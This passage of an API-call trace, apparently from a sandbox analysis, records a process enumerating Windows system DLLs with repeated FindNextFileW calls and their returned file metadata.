ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0173.210] FindNextFileW 